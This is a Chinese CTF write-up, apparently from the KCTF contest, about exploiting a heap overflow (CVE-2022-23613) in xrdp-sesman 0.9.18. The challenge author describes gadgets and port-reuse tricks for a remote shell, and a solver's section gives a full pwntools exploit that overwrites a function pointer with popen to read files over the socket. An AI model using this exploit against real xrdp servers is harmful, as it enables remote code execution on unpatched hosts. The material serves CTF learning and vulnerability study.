但是,如果 self->in_s->end 处的值能够成为一个偏移,那么只需要在 &edata+offset 处构建字符串数组即可。这么一看似乎很简单,但实际上,要在内存空间中找到这个地方却不太容易,因为可读可写的内存段过小了,且因为要求是 8 字节大小的数值作为偏移,要在内存中寻找高位 7 字节都是 0 ,而低位具有一个单独数值的值其实并不多,最终笔者锁定了这里:
pwndbg> x/10gx 0x4104920x410492 <[email protected]+2>: 0x3930000000000040 0x00000000000000400x4104a2: 0x0000000000000000 0x5217000000000000
只有这里是刚好的,它可读可写,且偏移适中,除此之外只有一处还有类似的地方,但是那里处在 got 表中间,随意覆盖数值很容易导致程序崩溃,因此为了避免意外,只剩下这一个选择了。


第一折
前文所述的方案在本地是完全可行的,笔者在本地的 docker 容器中已经能够通过自己的 exp 完成稳定的利用(笔者使用了第二个稳定利用的方案,它要比堆喷更适合调试)。
但是,当笔者将这样的容器打包发给主办方后却出现了意外,我发现自己的 exp 没能打通远程服务器在容器。这相当的奇怪,因为我在本地已经无数次尝试过了,它必然是稳定的,但它只在我这稳定。
这个问题折磨了我许久,因为它的表现形式有些异常:
  • 本地和远程使用同一个 docker 镜像,但本地能够稳定打通,远程却是稳定打不通。

  • 在远程服务器中,我在 docker 里使用 gdb 进行调试,当我使用了断点,那么将会稳定打通

这个问题的成因十分有些怪异,简单来说,是因为网络延迟的差异。
在同一个局域网内,网络的延迟较低,当我尝试调用 self->trans_recv 后,紧接着如果能够立刻收到包,那么它会马上进入到下一个 self->trans_recv 中,这使得我在本地的利用能够稳定成功。
但是一旦它到了远程服务器上,由于延迟的存在,当我的第二个数据包抵达服务器,它们已经离开了第一次调用的 trans_check_wait_objs ,并回到了主循环进行轮询。而当它检查某个 trans 时,会因为我需要稳定传递第一个参数,使得它成为一个非 0 的值,这将导致 trans_check_wait_objs 返回错误代码,整个程序将会崩溃退出。
因此我前文所述的方案只有一半能成功,因为第一个参数不再稳定传递了,它的第一个字符似乎必须是 0 字节。
事实上,笔者最初希望它能够是 python3,它失败了,于是我转而使用 sh,它仍然失败了,迫不得已,我什么也不放,结果程序并没有崩溃,我只好找其他方法了(但如果是 \x00\x10,它似乎也不会崩溃)。
最终,我们能够找到一段特殊的 gadget:
.text:000000000040955D lea rax, aReconnectwmSh+0Ch ; "sh".text:0000000000409564 lea rsi, [rsp+0B68h+var_AC8].text:000000000040956C mov [rsp+0B68h+var_AB0], 0.text:0000000000409578 mov [rsp+0B68h+var_AC8], rax.text:0000000000409580 lea rax, aC ; "-c".text:0000000000409587 lea rdi, aBinSh ; "/bin/sh".text:000000000040958E mov [rsp+0B68h+var_AC0], rax.text:0000000000409596 mov rax, [rbx+68h].text:000000000040959A mov [rsp+0B68h+var_AB8], rax.text:00000000004095A2 call _g_execvp
0x409587 处似乎能够传递一个较为稳定的参数,而 rsi 寄存器可以沿用 self->in_s->end ,只要第二个参数能够稳定传递,那么就能够顺利调用 _g_execvp 完成利用了。

第二折

在第一折以后,远程利用已经被限制了第一个参数必须为 “/bin/sh” ,且必须使用 execvp 的方案了,因此对于堆喷的利用方式来说其实更加郁闷,因为要碰撞的东西更多了。
不过布局需要重新做,尤其是使用 execlp3 布局的情况,需要构造类似如下的操作:
char *ar={"/bin/sh","-c","xxxxx",0};execvp("/bin/sh",ar);
堆喷似乎仍然可行,但成功率将会略有下降,这对远程来说尤其不友好。因此这一劫相当于限制了很多利用手段。

第三折

第三折是在前面几个难点都被克服以后的最后一个问题。
笔者最初的预想是,选手只需要能够构造一个正连,然后通过 nc 拿到 shell 即可,但是由于 CTFd 只能为题目分配一个端口,因此选手只能通过给定的端口打进去,然后再用同一个端口开放正连去连出来。这似乎涉及到一个端口复用问题,类似的解决方法有很多,它并不是本题的主要考点,不过由于笔者自己的很多基础没有学好,在这一步上倒是被卡了很多时间。
在这里介绍一下笔者使用的方法:
首先通过 sh 的 -c 参数允许任意代码执行,笔者发现,通过这种方法打开的进程并不属于它的子进程,因此我们可以在该进程里直接调用 kill 将原先占用端口的那个进程关掉,然后自己绑定到那个端口上即可。
通过 execvp 开启的 sh 进程与原本的 xrdp-sesman 其实算是同一个进程,它继承了相同的属性,但是通过 -c 参数后跟上 python3,它将会另外启动一个 python 进程,该进程并不是 sh 的子进程,通过 os.popen("kill pid") 可以直接释放端口。
最后的操作不言而喻,因为程序默认绑定 3350 端口,它会通过 docker 转发出来,因此正连的端口号写 3350 即可。


后日谈1:写于笔者提交题目以前。
不过笔者其实本来还在本题使了一点坏,您看,在众多反弹shell的命令里,似乎只有 python 能够在三个参数里完成利用,而如果用 g_execlp3 和堆喷就能够完成利用的话,似乎就有点太没意思了,于是打算把环境里的 python3 直接删掉,不过最后笔者连 exp 都写完了,环境也搭好了,实在懒得再改了,因此作罢,就这样吧。
后日谈2:写于笔者提交题目以后,此为添加部分。
笔者发现,为了解决那些麻烦的坑点所做的绕过实属不易,并且也发现 execlp3 将不在可用,在这个月四号提交的题目,直到 7 号晚上才终于解决了所有远程部署上的问题。
笔者个人认为题目并没有很难,但是构造 payload 的过程却很有意思。将一个看上去有条件的漏洞转为一个无条件的利用;将一个只能在本地提权的漏洞转为了远程的0click漏洞,不觉得这很酷吗?
注:
此处的本地提权是指最初的利用方案,通过创建一个可执行文件,让进程直接执行文件来避开参数控制的难点;而0click则指,只需要机器打开该服务,就可以直接发包拿下主机。
有条件漏洞指的是需要在源代码上允许进程建立大量的连接;无条件漏洞指的是可以直接使用未经修改的源代码编译出的二进制程序完成利用。
(不知道自己的理解是否出错,若是如此,还望指正。)
后日谈3:
题目名称 “The House of the Dead” ,并非直接搜索出来的射击游戏,而是指费奥多尔·陀思妥耶夫斯基所著的一本名为《死屋手记》的书,书名的英译为这个名字。我认为它所描述的某些状态很符合我在制作本题时的一些心理,以下为摘抄:
这乐趣正是出于对自己堕落的十分明确的意识:是由于你自己也感到你走到了最后一堵墙;这很恶劣,但是舍此又别无他途;你已经没有了出路,你也永远成不了另一种人;即使还剩下点时间和剩下点信心可以改造成另一种人,大概你自己也不愿意去改造:即使愿意,大概也一事无成,因为实际上,说不定也改造不了任何东西。
最后,欢迎加入星盟安全团队。

赛题解析

本赛题解析由看雪论坛会员 tkmk 给出:

个人论坛主页:https://bbs.pediy.com/user-home-855362.htm

熬夜一天+通宵一天,终于解出来了,激动的心,颤抖的手。

环境搭建

拿到附件,常规操作 file 一下,发现居然是一个带符号、带调试信息的 ELF

attachment: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a52a0533f20440fa6f9c65fdf61fa51deddc018, for GNU/Linux 3.2.0, with debug_info, not stripped

在 22.04 中,直接执行会报错:

./attachment: error while loading shared libraries: libcommon.so.0: cannot open shared object file: No such file or directory

按照作者的文档,apt 安装好依赖,再执行依然报错。谷歌一下这个报错,再结合 IDA 看到的 print_version 里 g_writeln("xrdp-sesman %s", "0.9.18");,不难发现附件是 xrdp 中的 xrdp-sesman。

为了尽可能接近远程环境,我选择 clone xrdp 仓库,本地编译并 make install,然后用附件替换掉 /usr/local/sbin/xrdp-sesman。编译时确实遇到了 openssl 相关的错误,在网上找到的解决方案:

# download binary openssl packages from Impish buildswget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_1.1.1f-1ubuntu2.16_amd64.debwget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_1.1.1f-1ubuntu2.16_amd64.debwget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2.16_amd64.deb # install downloaded binary packagessudo dpkg -i libssl1.1_1.1.1f-1ubuntu2.16_amd64.debsudo dpkg -i libssl-dev_1.1.1f-1ubuntu2.16_amd64.debsudo dpkg -i openssl_1.1.1f-1ubuntu2.16_amd64.deb

利用分析

0.9.18 的 xrdp-sesman 有 CVE-2022-23613,实际上一搜跳出来的就是出题人曾经的分析文章,通读下来可以知道,利用方式主要是堆溢出覆盖函数指针。文章使用本地提权的方式,先在本地写好要执行的文件,使用堆喷布置参数,利用 plt 中的 g_execvp、g_execlp3 执行命令。

由于出题人已经介绍过 xrdp 源码、重要结构体,下文不再提及这些内容

简单尝试一下会发现,服务非常容易打挂,并且平台容器没有重启机制,甚至还有频率限制——于是会出现:开容器,十秒打挂,等一分钟后销毁容器,等一分钟后再开新容器。基于这些考虑,不得不放弃堆喷,转而寻找更稳定高效的利用。

首先肯定是需要一个能覆盖函数指针的方法。经过简单地风水(我是新建连接 0、1,关闭连接 0、1,新建连接 2 作为后续使用),可以找到一个 trans 结构体,其 self->in_s->end 地址低于结构体本身,也就是产生的溢出可以覆盖结构体本身。(我认为覆盖自身的情况只需要一个连接,会更稳定)

接下来开始物色覆盖指针的目标。

在翻阅 plt 的时候,发现除了出题人介绍过的两个 exec 家族的封装,还有一个 popen 是高价值目标。它需要给定两个字符串参数(popen("cmd", "r")),于是开始查看每个函数指针的使用情况,主要是以下三种:

self->trans_can_recv(self, self->sck, 0);self->trans_recv(self, self->in_s->end, to_read);self->trans_data_in(self);

self->sck 是结构体的第一个参数。也就是说,对于 trans_can_recv,有 *self == self->sck 的情况,显然不能满足传递两个字符串。

对于 trans_recv,可以放心地布置第一个参数为字符串。但 self->in_s->end 正常是指向要写入的位置,内容不太可控。在 trans_data_in 下面有一个 init_stream 可以把指针重置到开头,但重置之后需要等到下次轮询,才能回到使用其他函数指针的位置,每次轮询开始之前,会对 sck 进行 select 无法顺利通过。也就是说,如果想控制 trans_recv 的第二个参数,就无法控制第一个。

最后的希望是 trans_data_in。虽然它只有一个参数(而且是可控的),但是寄存器里有其他的值。调试一下会发现,此时第二个参数 RSI 指向的是 self->in_s->data 的位置(或者它的附近),也是可控的!


如果想要调用到 trans_data_in,还有一个前置条件,read_so_far == self->header_size,这个计算一下数据长度,不难实现。

于是我们可以开始布置溢出参数,这个时候会发现,trans_data_in 指针十分靠前,在结构体的偏移是 0x18 —— 这意味着第一个参数的字符串最多只能长 24。作为对比,第二个参数只需要简简单单一个 "r",却有上千字节的空间。

我一度以为在不出网环境下,24 字节无法完成利用(先 kill server,然后用 Python 监听 3350 端口,做一个 Bind Shell)。此时尚是第二天夜晚,题目还是零解的情况,错过这个机会有点可惜。

后来我又去寻觅了一个任意长度的命令执行,但是只有在 gdb 下断点的时候才能实现。总之,在调试长命令的时候,我才注意到,子进程继承了 socket 连接,可以直接向 7 号 fd 输出,回头看 popen 才发现也可以,于是最后 ls -al >&7、cat flag >&7 两条命令解决(当然还只是本地)。

贴 exp:

from pwn import *elf = ELF('./attachment')context.log_level = 'debug'context.arch = 'amd64'HOST = "0.0.0.0"PORT = 3350 if len(sys.argv) > 1:    HOST = '221.228.109.254'    PORT = int(sys.argv[1]) r2 = remote(HOST, PORT)r3 = remote(HOST, PORT)sleep(1)r2.close()r3.close()sleep(1) r = remote(HOST, PORT)payload = flat(    # b"A" * 0x24F8,    (b'r'+b'\x00'*7)*1183,    b'echo xx >&7; cat f* >&7'.ljust(24, b'\x00'),  # len 24    # b'touch /a;ls -al . / >&7'.ljust(24, b'\x00'),  # len 24    elf.plt.popen,  # trans_data_in    #0x1234,  # trans_data_in    0,  # trans_conn_in    0,  # callback_data    b'SIZESIZE',  # header_size    0x410478,  # in s    0,  # out s)# total ~0x2500r.send(p32(0) + p32(0x80000001, endian='big'))payload = payload.replace(b'SIZESIZE', p64(len(payload) - 0x10))r.send(payload)r.interactive()

其中 in_s 的覆盖不是必要的,去掉的话 header size 要做相应调整。这里覆盖的原因是,这个 exp 是从下面没走通的路改出来的。

出题人在群里提到远程奇奇怪怪的问题,其实我找到的任意长度的执行也是因为这个无法实现。因为挺有意思(实际上也复杂得多),我也介绍一下这个利用。

一条走不通的路

我准备把指针换成 session_start_fork 里的 gadget 片段:

.text:000000000040955D                 lea     rax, aReconnectwmSh+0Ch ; "sh".text:0000000000409564                 lea     rsi, [rsp+0B68h+params] ; argv.text:000000000040956C                 mov     [rsp+0B68h+params+18h], 0.text:0000000000409578                 mov     [rsp+0B68h+params], rax.text:0000000000409580                 lea     rax, aC         ; "-c".text:0000000000409587                 lea     rdi, file       ; "/bin/sh".text:000000000040958E                 mov     [rsp+0B68h+params+8], rax.text:0000000000409596                 mov     rax, [rbx+68h].text:000000000040959A                 mov     [rsp+0B68h+params+10h], rax.text:00000000004095A2                 call    _g_execvp

如果用 trans 的任意函数指针跳到这里,只有 RBX 会被使用,RBX 即 trans 结构体的地址。这段 gadget 从 trans->addr 取了一个指针,作为 sh -c 的命令执行。也就是说,如果我们在内存中写入一条命令,并且知道命令的地址,就可以实现任意长度的代码执行了。

那么往哪里写呢?基本上写内存就 trans_recv 一条路。如果我们提前覆盖 self->in_s,让其 end 本身在 rw 段,其指向也在 rw 段(因为写完内存会有 self->in_s->end += read_bytes;,修改指针)。

唯一已知的 rw 段是:0x410000 - 0x411000,这个段里主要是 GOT 表和全局变量,并没有指向段内的指针。

如果是堆,需要泄露地址。修改 trans->wait_s 为几个全局变量(存的是堆指针),可以在 trans_send_waiting 中向 socket 泄漏很多内存,但是泄露之后有一个 free 的检查无法通过。

于是我还是回到了 0x410000 的考虑,这里有的指针还是比较接近段内的。比如 0x410000 是 0x40fde0,一大堆没有解析的 GOT 表基本指向 0x403...。


我希望使用 self->in_s->end += read_bytes; 来调整指针,举例来说,如果把 0x410000 的值增大一点点,它就落在了 rw 段内。我需要前面那个能覆盖自身的 trans,覆盖 self->in_s 到 0x410000-8,这样 self->in_s->end 就对上了 0x410000。

如果我写入的长度 read_bytes 落在 0x220 ~ 0x1220 之间,那么我就有了一个确定地址的、可写的指针。当然,这个 trans 还需要能覆盖之后一个 trans 的 in_s,使其数据写在这个确定地址上。

坏消息是,in_s->data 本身有 0x2000 的空间,如果要产生溢出,数据的长度是远远大于 0x1220 的。因此目光就转向了改 GOT 上。把 0x403000 改到 0x410000,需要 0xd000 ~ 0xe000 的长度。

并且我们还得控制:对于被覆盖的第二个 trans,只能覆盖到它的 in_s,不能破坏 trans_recv 指针——不然没得读了(trans_recv 是 libcommon 里的函数。程序本身的 plt 里面似乎没有可以替代它的)。于是一通风水,最后终于实现了在 gdb 打断点情况下的任意长度执行。

那为什么不打断点就不行呢?我切换了打断点的思路,把条件断点打在 trans_recv 之后,条件是 read_bytes > 8,8 是 header 的长度。这时,我发现 trans_recv 根本没有收齐我的 0xd000。那么原因也呼之欲出了,打了断点时,大量的数据有时间慢慢进入缓冲区,然后一次读出;不打断点,就会变成读多少是多少。

此外,一旦溢出开始覆盖结构体自身,in_s、trans_recv 等都会变化,没有第二次续传的机会。我本来还想试试用 g_sleep,后来也作罢了。

如果抓包会发现,虽然理论上 TCP 支持将近 0x10000 的长度,这些数据还是会被分到多个 TCP 报文中。也许使用 raw socket 可以解决这个问题?

其实我曾经在 IOT pwn 上遇到类似的情况,当时捣鼓过一番,最后的选择是——重新堆风水,让溢出的数据包别那么大。现在这个数据的长度是定死的,就不是风水的问题了。


出题人提到的问题“本机docker打通后,docker导出镜像,放远程直接导入镜像,打不通”,多半也是因为 TCP 分片的原因。

最后的 EXP 微调

前面提到,我解决了 popen 的本地利用问题(gdb 不用下断点也可以!),远程还没通。这个数据包的长度大约 0x2500,对于 TCP 来说还是比较大的。鉴于前面的绝大多数字节都是在为溢出做准备,他们实际上可以分开来发送,只需要最后几百字节是一次性溢出的即可。

把之前 exp 发送 payload 的几行稍微改一下,拆成两段发送,最后就成了

sep = 0x1a00payload = payload.replace(b'SIZESIZE', p64(len(payload) - 0x10 - sep))r.send(p32(0) + p32(0x80000001, endian='big') + payload[:sep])r.send(payload[sep:])

FLAG:KCTF{ee43d769-ac1d-4f2e-82b3-9167ff484c8e}

第八题《商贸往来》正在进行
https://ctf.pediy.com/game-season_fight-223.htm
欢迎参与或围观

- End -

球分享

球点赞

球在看

“阅读原文查看详情!

文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458486282&idx=1&sn=71f316cf850ce64f8512e608974a881d&chksm=b18eb68086f93f96e68161fe2a34c5defd2955f7c90b02e6d366421893df62502f1c2974d57b#rd
如有侵权请联系:admin#unsafe.sh